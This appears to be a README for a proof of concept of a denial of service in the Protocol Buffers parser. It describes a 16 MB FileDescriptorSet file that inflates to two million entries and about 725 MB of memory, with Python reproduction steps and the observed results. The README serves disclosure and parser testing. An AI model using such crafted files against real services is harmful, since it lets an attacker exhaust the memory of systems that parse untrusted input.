Protocol Buffers FileDescriptorSet cardinality amplification PoC
This repository hosts a benign security research PoC for a Protocol Buffers parser denial of service.
Files
protobuf-filedescriptorset-2000k.pb
Reproduction
Use latest protobuf 7.35.1:
python3 - <<'PY'
from google.protobuf import descriptor_pb2
blob = open("protobuf-filedescriptorset-2000k.pb", "rb").read()
out = descriptor_pb2.FileDescriptorSet()
out.ParseFromString(blob)
print(len(out.file))
PY
Observed on the research machine:
- file size is about
16 MB - parser materializes
2,000,000entries - peak RSS reaches roughly
725 MB
Under a 650 MB virtual-memory cap:
ulimit -v 650000
python3 - <<'PY'
from google.protobuf import descriptor_pb2
blob = open("protobuf-filedescriptorset-2000k.pb", "rb").read()
out = descriptor_pb2.FileDescriptorSet()
out.ParseFromString(blob)
PY
Observed result:
DecodeError: ... Arena alloc failed
Safety note
This artifact is a non-executable malformed model-file PoC for parser-stress testing only.
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support